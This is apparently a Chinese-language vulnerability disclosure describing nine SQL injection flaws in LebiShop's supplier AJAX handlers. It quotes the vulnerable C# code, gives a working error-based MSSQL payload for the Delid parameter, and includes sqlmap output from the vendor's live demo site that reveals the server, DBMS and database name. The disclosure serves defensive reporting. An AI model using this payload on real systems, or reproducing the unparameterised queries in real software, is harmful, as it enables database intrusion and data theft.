### 简要描述：
LebiShop商城系统最新版九处SQL注入四
### 详细说明：
LebiShop商城系统最新版九处SQL注入
因为这里是在商家模块，所以官方demo演示地址为：
```
http://plus.demo.lebi.cn
```
注册并登陆普通用户后，才有申请注册商家用户的功能，这里的商家注册功能是默认开发注册的
所以我们注册普通用户shoptest，然后申请注册商家用户即可
此时shoptest用户及时普通用户也是商家用户
下面来看看申请注册商家用户后的SQL注入漏洞
第一处SQL注入漏洞
Shop.supplier.ajax目录下的ajax_product.aspx文件
首先看看Ask_Del方法：
```
// Shop.supplier.Ajax.Ajax_product
public void Ask_Del()
{
if (!base.Power("supplier_ask_del", "删除商品咨询"))
{
base.AjaxNoPower();
return;
}
string id = RequestTool.RequestString("Delid");
if (id == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要删除的信息") + "\"}");
return;
}
B_Lebi_Comment.Delete("Parentid in (" + id + ")");
B_Lebi_Comment.Delete("id in (" + id + ")");
Log.Add("删除商品咨询", "Comment", id.ToString(), this.CurrentSupplier, id.ToString());
base.Response.Write("{\"msg\":\"OK\"}");
}
```
参数id通过RequestTool.RequestString("Delid");获取
然后进入delete方法的in条件sql语句中
因为在RequestString中只处理了单引号，但是在in条件中没有引号保护，导致sql注入产生
第二处SQL注入
```
// Shop.supplier.Ajax.Ajax_product
public void Comment_Del()
{
if (!base.Power("supplier_comment_del", "删除商品评价"))
{
base.AjaxNoPower();
return;
}
string id = RequestTool.RequestString("Delid");
if (id == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要删除的信息") + "\"}");
return;
}
B_Lebi_Comment.Delete("Parentid in (" + id + ")");
B_Lebi_Comment.Delete("id in (" + id + ")");
Log.Add("删除商品评价", "Comment", id.ToString(), this.CurrentSupplier, id.ToString());
base.Response.Write("{\"msg\":\"OK\"}");
}
```
SQL注入原因同第一处SQL注入原因
第三处SQL注入
```
// Shop.supplier.Ajax.Ajax_product
public void Comment_Update()
{
if (!base.Power("supplier_comment_edit", "编辑商品评价"))
{
base.AjaxNoPower();
return;
}
string ids = RequestTool.RequestString("IDS");
List<Lebi_Comment> models = B_Lebi_Comment.GetList("id in (" + ids + ")", "");
```
SQL注入原因同第一处SQL注入原因，ids进入GetList方法的in条件sql语句，无单引号
第四处SQL注入
```
// Shop.supplier.Ajax.Ajax_product
public void Product_Batch_Update()
{
if (!base.Power("supplier_product_batch_edit", "批量编辑"))
{
base.AjaxNoPower();
return;
}
string ids = RequestTool.RequestString("IDS");
List<Lebi_Product> models = B_Lebi_Product.GetList("id in (" + ids + ")", "");
```
SQL注入原因同上
第五处SQL注入
```
// Shop.supplier.Ajax.Ajax_product
public void Product_Del()
{
if (!base.Power("supplier_product_del", "删除商品"))
{
base.AjaxNoPower();
return;
}
string id = RequestTool.RequestString("sonproductid");
if (id == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要删除的信息") + "\"}");
return;
}
List<Lebi_Product> pros = B_Lebi_Product.GetList("Product_id in (" + id + ")", "");
foreach (Lebi_Product pro in pros)
{
id = id + "," + pro.id;
}
ImageHelper.LebiImagesDelete("product", id);
B_Lebi_Product.Delete("id in (" + id + ")");
Log.Add("删除商品", "Product", id.ToString(), this.CurrentSupplier, id.ToString());
base.Response.Write("{\"msg\":\"OK\"}");
}
```
SQL注入原因同上
这里存在多处SQL注入问题，在GetList，LebiImagesDelete，Delete方法中都存在sql注入问题
第六处SQL注入
```
// Shop.supplier.Ajax.Ajax_product
public void Product_Image_Edit_muti()
{
if (!base.Power("supplier_product_edit", "编辑商品"))
{
base.AjaxNoPower();
return;
}
string ids = RequestTool.RequestString("ids");
string imagesmall = RequestTool.RequestString("smalliamge");
string images = RequestTool.RequestString("images");
List<Lebi_Product> models = B_Lebi_Product.GetList("id in (" + ids + ")", "");
```
SQL注入原因同上
第七处SQL注入
```
// Shop.supplier.Ajax.Ajax_product
public void Product_Status_Edit_muti()
{
if (!base.Power("supplier_product_edit", "编辑商品"))
{
base.AjaxNoPower();
return;
}
int status = RequestTool.RequestInt("status", 0);
string ids = RequestTool.RequestString("sonproductid");
if (ids == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要修改的商品") + "\"}");
return;
}
status = ((status == 1) ? 101 : 100);
if (this.CurrentSupplierGroup.IsSubmit == 0)
{
status = 100;
}
List<Lebi_Product> models = B_Lebi_Product.GetList("id in (" + ids + ")", "");
```
SQL注入原因同上
第八处SQL注入
```
// Shop.supplier.Ajax.Ajax_product
public void Supplier_ProductType_Edit()
{
if (!base.Power("supplier_product_edit", "编辑商品"))
{
base.AjaxNoPower();
return;
}
string ids = RequestTool.RequestString("ids");
if (ids == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要修改的商品") + "\"}");
return;
}
List<Lebi_Product> models = B_Lebi_Product.GetList(string.Concat(new object[]
{
"Supplier_id = ",
this.CurrentSupplier.id,
" and id in (",
ids,
")"
}), "");
```
SQL注入原因同上
第九处SQL注入
```
// Shop.supplier.Ajax.Ajax_product
public void Type_Del()
{
if (!base.Power("supplier_pro_type", "商品分类"))
{
base.AjaxNoPower();
}
string id = RequestTool.RequestString("id");
if (id == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要删除的信息") + "\"}");
return;
}
B_Lebi_Supplier_ProductType.Delete("id in (" + id + ")");
ImageHelper.LebiImagesDelete("supplierproducttype", id);
Log.Add("删除商品分类", "Pro_Type", id.ToString(), this.CurrentSupplier, id.ToString());
base.Response.Write("{\"msg\":\"OK\"}");
}
```
SQL注入原因同上
### 漏洞证明：
以第一处为例证明
官方demo测试
报出mssql版本：
[<img src="https://images.seebug.org/upload/201501/20161740aad3506dad4ea5eaa52f05ac5ffdf5a8.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/20161740aad3506dad4ea5eaa52f05ac5ffdf5a8.png)
报出当前数据库：
[<img src="https://images.seebug.org/upload/201501/2016180671f7b1fe647504c4a5059a39f47b97fa.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/2016180671f7b1fe647504c4a5059a39f47b97fa.png)
使用sqlmap跑一下数据：
```
---
Place: POST
Parameter: Delid
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Delid=123) AND 3591=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(103)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (3591=3591) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(103)+CHAR(118)+CHAR(120)+CHAR(113))) AND (1472=1472
---
[16:18:35] [INFO] testing Microsoft SQL Server
[16:18:35] [INFO] confirming Microsoft SQL Server
[16:18:36] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
[16:18:36] [INFO] fetching current database
[16:18:36] [INFO] retrieved: db_plusdemolebicn
current database: 'db_plusdemolebicn'
[16:18:36] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 39 times
[16:18:36] [INFO] fetched data logged to text files under 'C:\Users\user\Desktop\sqlmap\output\plus.demo.lebi.cn'
```
京公网安备 11010502034610号
暂无评论